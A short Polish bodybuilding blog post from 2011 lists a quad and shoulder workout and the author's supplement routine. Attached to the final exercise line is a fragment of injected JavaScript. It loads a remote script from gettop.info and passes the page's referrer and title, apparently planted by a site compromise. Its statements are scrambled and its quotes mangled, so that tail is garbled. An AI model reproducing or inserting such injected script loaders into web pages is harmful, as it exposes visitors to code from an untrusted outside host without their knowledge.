Jest pompa!

28.10.2011 / Michał Karmowski

Kolejny dzień treningowy za mną teraz jest naprawdę ciężko zwłaszcza , że trenuje non stop do środy , treningi są teraz bardzo intensywne a każda grupa mięśniowa jest trenowana dużo częściej. Dziś po treningu czworo-głowych zrobiłem lekko barki na tyle ile mogłem. Czwórki za to dostały mocno w kość i dałem radę zrobić znowu przysiady ze sztangą z przodu:-) Mniejsza ilość węglowodanów też jest odczuwalna chociaż aakg mega hardcore daje dobrą pompę, zawsze na końcówkę wrzucam argininę do suplementacji 3x dziennie, od dziś biorę ją rano na czczo , przed treningiem razem z S.A.W. i przed ostatnim posiłkiem.

trening czwórek i barków , który zamknął się w 60 min

-wyprosty 4serie

-hak przysiady 4 serie

-przysiady ze sztangą z przodu 3 serie

-wypychanie na suwnicy 3 serie

-wyprosty 3 x30powt

barki

-unoszenie ramion bokiem siedząc 3 serie

-przyciąganie do brody gryfu maszyny smitha 3 serie

-wyciskanie na maszynie 3 serie

super seria- unoszenie ramion bokiem z linkami wyciągów  i unoszenie ramion przodem z drążkiem wyciągu 3 seried.getElementsByTagName(‚head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement(‚script’);